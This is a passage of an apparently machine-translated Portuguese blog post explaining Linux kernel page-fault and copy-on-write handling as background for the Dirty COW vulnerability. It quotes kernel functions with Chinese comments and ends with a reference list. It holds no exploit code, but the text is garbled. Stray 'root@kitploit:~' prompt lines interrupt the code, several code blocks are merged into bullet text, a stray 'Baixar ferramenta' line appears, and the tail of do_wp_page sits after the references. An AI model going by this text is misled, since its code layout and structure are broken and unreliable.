		     pte_t *pte, pmd_t *pmd, unsigned int flags)
{
	pte_t entry;
	spinlock_t *ptl;	// 页表自旋锁

	/*
	 * some architectures can have larger ptes than wordsize,
	 * e.g.ppc44x-defconfig has CONFIG_PTE_64BIT=y and CONFIG_32BIT=y,
	 * so READ_ONCE or ACCESS_ONCE cannot guarantee atomic accesses.
	 * The code below just needs a consistent view for the ifs and
	 * we later double check anyway with the ptl lock held. So here
	 * a barrier will do.
	 */
	entry = *pte;
	barrier();
	if (!pte_present(entry)) {	// 页表项不在内存中(page fault第一次)
		if (pte_none(entry)) {	// 页表项为空,进程第一次访问该页面
			if (vma_is_anonymous(vma))	// 没有设置vma->vm_ops,即为匿名页面(即不是文件映射)
				return do_anonymous_page(mm, vma, address,
							 pte, pmd, flags);
			else
				return do_fault(mm, vma, address, pte, pmd,		// 若为文件映射页面
						flags, entry);
		}
		return do_swap_page(mm, vma, address,	// 页表项不为空,将页面swap进内存
					pte, pmd, flags, entry);
	}

	if (pte_protnone(entry))	// 页表项为保护页
		return do_numa_page(mm, vma, address, entry, pte, pmd);	// NUMA

	ptl = pte_lockptr(mm, pmd);	// 页表自旋锁,此时页面已经在内存中
	spin_lock(ptl);
	if (unlikely(!pte_same(*pte, entry)))	// 并发检查
		goto unlock;
	if (flags & FAULT_FLAG_WRITE) {	// page fault是由写操作引发
		if (!pte_write(entry))		// 页不可写
			return do_wp_page(mm, vma, address,	// COW
					pte, pmd, ptl, entry);
		entry = pte_mkdirty(entry);	// 页可写,设置为脏页
	}
	entry = pte_mkyoung(entry);
	if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
		update_mmu_cache(vma, address, pte);
	} else {
		/*
		 * This is needed only for protection faults but the arch code
		 * is not yet telling us if this is a protection fault or not.
		 * This still avoids useless tlb flushes for .text page faults
		 * with threads.
		 */
		if (flags & FAULT_FLAG_WRITE)
			flush_tlb_fix_spurious_fault(vma, address);
	}
unlock:
	pte_unmap_unlock(pte, ptl);
	return 0;
}
do_fault

Como o foco principal aqui é COW, escolhemos continuar a partir de do_fault

  • Primeiro, localize a página do arquivo onde ocorreu a falta de página (anteriormente confirmou-se que a página veio de um mapeamento de arquivo)

  • Confirme que o manipulador de falta de página está definido em vma->vmops

  • Se for uma operação de leitura, chame do_read_fault

  • Se for uma operação de escrita, verifique se a página é compartilhável; se não for, significa que a página é privada da Task, necessitando de COW, chame do_cow_dault

  • Se for uma operação de escrita e a página for compartilhada, chame `do_shared_fault````c static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, unsigned int flags, pte_t orig_pte) { pgoff_t pgoff = (((address & PAGE_MASK) - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; // 发生page fault的地址在文件中的页面偏移量

    pte_unmap(page_table); /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ if (!vma->vm_ops->fault) // 是否有定义处理缺页异常的函数 return VM_FAULT_SIGBUS; if (!(flags & FAULT_FLAG_WRITE)) // 当前内存访问是读操作 return do_read_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); if (!(vma->vm_flags & VM_SHARED)) // 当前内存访问是写操作,且是私有映射MAP_PRIVATE,那么需要COW return do_cow_fault(mm, vma, address, pmd, pgoff, flags, // 创建一个新的页,将数据拷贝到新页中,设置新页的PTE(此时还未真正write) orig_pte); return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); // 当前内存访问是写操作,且是共享映射MAP_SHARED,不需要COW }

root@kitploit:~
##### do_cow_fault

O fluxo do `do_cow_fault` é aproximadamente o seguinte

- Primeiro, chama `alloc_page_vma` para alocar uma nova página física `new_page`
- Verifica se é OOM
- Então `__do_fault` lê dados do arquivo para outra página `fault_page`, que essencialmente chama a função `fault` vinculada a `vma->vm_ops`
- `copy_user_highpage` copia os dados de `fault_page` para `new_page`, esta função é na verdade um wrapper do `memcpy`
- `do_set_pte` define o PTE para a página, com atributos de página gravável e anônima```c
static int do_cow_fault(struct mm_struct *mm, struct vm_area_struct *vma,
		unsigned long address, pmd_t *pmd,
		pgoff_t pgoff, unsigned int flags, pte_t orig_pte)
{
	struct page *fault_page, *new_page;
	struct mem_cgroup *memcg;
	spinlock_t *ptl;
	pte_t *pte;
	int ret;

	if (unlikely(anon_vma_prepare(vma)))
		return VM_FAULT_OOM;

	new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, address);	// 为新页分配物理内存。VMA的表示粒度是4k
	if (!new_page)
		return VM_FAULT_OOM;

	if (mem_cgroup_try_charge(new_page, mm, GFP_KERNEL, &memcg)) {	// 检查当前进程使用的内存是否超过了cgroup的限制
		page_cache_release(new_page);	// 释放COW的新页
		return VM_FAULT_OOM;	// 返回OOM错误,COW失败
	}

	ret = __do_fault(vma, address, pgoff, flags, new_page, &fault_page);	// 从文件中读取数据到fault_page
	if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY)))
		goto uncharge_out;

	if (fault_page)	// 读取成功
		copy_user_highpage(new_page, fault_page, address, vma);	// 将fault_page的数据拷贝到new_page中,实际调用memcpy
	__SetPageUptodate(new_page);

	pte = pte_offset_map_lock(mm, pmd, address, &ptl);
	if (unlikely(!pte_same(*pte, orig_pte))) {	// 并发检查
		pte_unmap_unlock(pte, ptl);
		if (fault_page) {
			unlock_page(fault_page);
			page_cache_release(fault_page);
		} else {
			/*
			 * The fault handler has no page to lock, so it holds
			 * i_mmap_lock for read to protect against truncate.
			 */
			i_mmap_unlock_read(vma->vm_file->f_mapping);
		}
		goto uncharge_out;
	}
	do_set_pte(vma, address, new_page, pte, true, true);	// 设置新页的PTE,该页为可写匿名页
	mem_cgroup_commit_charge(new_page, memcg, false);
	lru_cache_add_active_or_unevictable(new_page, vma);
	pte_unmap_unlock(pte, ptl);
	if (fault_page) {
		unlock_page(fault_page);
		page_cache_release(fault_page);
	} else {
		/*
		 * The fault handler has no page to lock, so it holds
		 * i_mmap_lock for read to protect against truncate.
		 */
		i_mmap_unlock_read(vma->vm_file->f_mapping);
	}
	return ret;
uncharge_out:
	mem_cgroup_cancel_charge(new_page, memcg);
	page_cache_release(new_page);
	return ret;
}
do_wp_page

Na primeira falta de página, já usamos do_cow_fault em do_fault para carregar o conteúdo do arquivo na memória e configurar a pte. Agora, a segunda falta de página é causada pela falta de permissão de escrita. Desta vez, o fluxo de do_wp_page chamado em handle_pte_fault é o seguinte:

  • Primeiro, obtém a página correspondente à pte.

  • Em seguida, o fluxo de COW chega a reuse_swap_page, que verifica se apenas uma Task está utilizando a página.

  • Se for o caso, reutiliza diretamente a nova página alocada por do_cow_fault, e wp_page_copy copia o conteúdo da página, completando assim o COW.```c static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, spinlock_t *ptl, pte_t orig_pte) __releases(ptl) { struct page *old_page;

    old_page = vm_normal_page(vma, address, orig_pte); // 获取pte对应的页面 if (!old_page) { /* * VM_MIXEDMAP !pfn_valid() case, or VM_SOFTDIRTY clear on a * VM_PFNMAP VMA. * * We should not cow pages in a shared writeable mapping. * Just mark the pages writable and/or call ops->pfn_mkwrite. */ if ((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED)) return wp_pfn_shared(mm, vma, address, page_table, ptl, orig_pte, pmd);

    root@kitploit:~
      pte_unmap_unlock(page_table, ptl);
      return wp_page_copy(mm, vma, address, page_table, pmd,
      		    orig_pte, old_page);
    

    }

    /*

    • Take out anonymous pages first, anonymous shared vmas are
    • not dirty accountable. */ if (PageAnon(old_page) && !PageKsm(old_page)) { // 处理匿名页 if (!trylock_page(old_page)) { // 尝试获取页面锁 page_cache_get(old_page); pte_unmap_unlock(page_table, ptl); lock_page(old_page); page_table = pte_offset_map_lock(mm, pmd, address, &ptl); if (!pte_same(page_table, orig_pte)) { unlock_page(old_page); pte_unmap_unlock(page_table, ptl); page_cache_release(old_page); return 0; } page_cache_release(old_page); } if (reuse_swap_page(old_page)) { // 判断是否只有一个进程引用该页面,如果是则直接复用 / * The page is all ours. Move it to our anon_vma so * the rmap code will not search our parent or siblings. * Protected against the rmap code by the page lock. */ page_move_anon_rmap(old_page, vma, address); // 移动页面到匿名映射区 unlock_page(old_page); return wp_page_reuse(mm, vma, address, page_table, ptl, // 重用页面 orig_pte, old_page, 0, 0); } unlock_page(old_page); } else if (unlikely((vma->vm_flags & (VM_WRITE|VM_SHARED)) == (VM_WRITE|VM_SHARED))) { return wp_page_shared(mm, vma, address, page_table, pmd, ptl, orig_pte, old_page); }
root@kitploit:~
## Reference

- [Uma discussão completa sobre o tratamento de falhas de página no Linux —— Ilustração de Page Faults](https://www.cnblogs.com/binlovetech/p/17918733.html)
- [Perspectiva da essência do mapeamento de memória mmap do mundo do kernel (implementação do código fonte)](https://www.cnblogs.com/binlovetech/p/17754173.html)
- [Análise e reprodução da vulnerabilidade CVE-2016-5195](https://xz.aliyun.com/t/7561?time__1311=n4%2BxnD0G0%3D14gDBqPod4iIQ0I%3DD5G80ePD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-7)
- [[Análise de vulnerabilidade] CVE-2016-5195 Dirtycow: Análise da vulnerabilidade de escalonamento de privilégios no kernel Linux](https://www.anquanke.com/post/id/84784)
- [Análise do fluxo de tratamento de falhas de página no Linux e análise do CVE-2021-5195](https://www.anquanke.com/post/id/290851)
- [Compilação da vulnerabilidade crítica Dirtycow no Linux](https://zhuanlan.zhihu.com/p/25918300)
- [Corra, kernel Linux!](https://xuanxuanblingbling.github.io/assets/attachment/奔跑吧-linux内核-内存管理-DirtyCow.pdf)
Baixar ferramenta

/*

  • Ok, we need to copy. Oh, well.. */ page_cache_get(old_page);

pte_unmap_unlock(page_table, ptl); return wp_page_copy(mm, vma, address, page_table, pmd, orig_pte, old_page); }